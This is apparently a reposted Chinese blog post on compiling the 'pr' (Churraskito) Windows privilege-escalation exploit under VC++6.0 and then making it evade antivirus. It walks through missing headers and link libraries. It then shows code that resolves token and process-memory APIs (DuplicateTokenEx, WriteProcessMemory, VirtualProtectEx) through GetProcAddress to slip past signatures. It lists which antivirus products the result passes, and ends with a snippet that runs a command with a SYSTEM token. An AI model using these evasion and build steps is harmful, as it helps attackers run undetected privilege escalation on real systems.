网络安全：PR Source code Build & to avoid killing

 

这里源码是暗组上面提供的KOOPie写的pr

   这些利用工具源码都是vs 2003，编译的环境和vc不太一样，因此，在编译的时候会出现这样那样的问题

   下面我们就以vc++6.0来编译pr。

  

   环境：vc++6.0

   缺少的文件：sshwbemhelpers.h(2003服务器特有的)，所以需要我们到网上下载 覆盖到 X:\program files\microsoft visual studio\vc98\include\sshwbemhelpers.h

 

   e:\teamprogram\visualc++6.0\pr\churraskito\stdafx.h(10) : fatal error C1083: Cannot open include file: 'SshWbemHelpers.h': No such file or directory stdafx.cpp

   e:\teamprogram\visualc++6.0\pr\churraskito\stdafx.h(10) : fatal error C1083: Cannot open include file: 'SshWbemHelpers.h': No such file or directory

    执行 cl.exe 时出错.

 

   工程设置：

   Project Settings -->Links-->对象/库模块后面添加以下几个类库，否则会出现下面几种错误

   psapi.lib wsock32.lib Ws2_32.lib，xolehlp.lib

   

   d:\program files\microsoft visual studio\vc98\include\sshwbemhelpers.h(23) : warning C4068: unknown pragma

   d:\program files\microsoft visual studio\vc98\include\sshwbemhelpers.h(769) : warning C4068: unknown pragma

   stdafx.cpp

   Linking...

       Churraskito.obj : error LNK2001: unresolved external symbol _GetModuleBaseNameA@16

       Churraskito.obj : error LNK2001: unresolved external symbol _EnumProcessModules@16

       Churraskito.obj : error LNK2001: unresolved external symbol __imp__connect@12

       Churraskito.obj : error LNK2001: unresolved external symbol __imp__inet_addr@4

       Churraskito.obj : error LNK2001: unresolved external symbol __imp__htons@4

       Churraskito.obj : error LNK2001: unresolved external symbol __imp__bind@12

       Churraskito.obj : error LNK2001: unresolved external symbol __imp__WSASocketA@24

       Churraskito.obj : error LNK2001: unresolved external symbol __imp__WSAStartup@8

       Debug/Churraskito.exe : fatal error LNK1120: 8 unresolved externals

 

    *******************************************免杀**********************************************

 

nod32:

LookupAccountSid

DuplicateTokenEx

 

typedef WINADVAPI BOOL (WINAPI *LookupAccountSidAT)

 

(

    __in_opt LPCSTR lpSystemName,

    __in PSID Sid,

    __out_ecount_part_opt(*cchName, *cchName + 1) LPSTR Name,

    __inout  LPDWORD cchName,

    __out_ecount_part_opt(*cchReferencedDomainName, *cchReferencedDomainName + 1) LPSTR ReferencedDomainName, __inout LPDWORD cchReferencedDomainName,

    __out PSID_NAME_USE peUse

);

 

LookupAccountSidAT pLookupAccountSidA = (LookupAccountSidAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),"LookupAccountSidA");

 

typedef WINADVAPI BOOL (WINAPI *DuplicateTokenExT)

 

(

    __in        HANDLE hExistingToken,

    __in        DWORD dwDesiredAccess,

    __in_opt    LPSECURITY_ATTRIBUTES lpTokenAttributes,

    __in        SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,

    __in        TOKEN_TYPE TokenType,

    __deref_out PHANDLE phNewToken

);

DuplicateTokenExT pDuplicateTokenEx = (DuplicateTokenExT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),"DuplicateTokenEx");

 

 

kaspersky：过

 

Avira AntiVir ：过

 

mcafee： 过

 

AVG：  过

 

symantec企业版：过

 

Norton AntiVirus：过

 

360全套：过

 

金山毒霸全套：

 

typedef WINBASEAPI BOOL (WINAPI *VirtualProtectExT)

 

(

    __in  HANDLE hProcess,

    __in  LPVOID lpAddress,

    __in  SIZE_T dwSize,

    __in  DWORD flNewProtect,

    __out PDWORD lpflOldProtect

);

VirtualProtectExT pVirtualProtectEx = (VirtualProtectExT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"VirtualProtectEx");

 

typedef WINBASEAPI BOOL (WINAPI *WriteProcessMemoryT)

 

(

    __in      HANDLE hProcess,

    __in      LPVOID lpBaseAddress,

    __in_bcount(nSize) LPCVOID lpBuffer,

    __in      SIZE_T nSize,

    __out_opt SIZE_T * lpNumberOfBytesWritten

);

WriteProcessMemoryT pWriteProcessMemory = (WriteProcessMemoryT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"WriteProcessMemory");

 

typedef WINADVAPI BOOL (WINAPI *GetTokenInformationT)

(

    __in      HANDLE TokenHandle,

    __in      TOKEN_INFORMATION_CLASS TokenInformationClass,

    __out_bcount_part_opt(TokenInformationLength, *ReturnLength) LPVOID TokenInformation,

    __in      DWORD TokenInformationLength,

    __out_opt PDWORD ReturnLength

);

 

GetTokenInformationT pGetTokenInformation = (GetTokenInformationT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),"GetTokenInformation");

 

金山主动防御能过，金山杀毒扫描能出来，但是执行不提示，杀下面的两个自定义函数 ：

DelRegistrySubkeys和(RunCommandAsSystem

 

DelRegistrySubkeys();

printf ("/xxoo/-->Running command with SYSTEM Token...\n");

if (RunCommandAsSystem(hTokenOut, lpCommand))

{

   printf ("/xxoo/-->Done, command should have ran as SYSTEM!\n");

   return 0;

}

转载于:https://www.cnblogs.com/Gemgin/archive/2013/06/13/3136230.html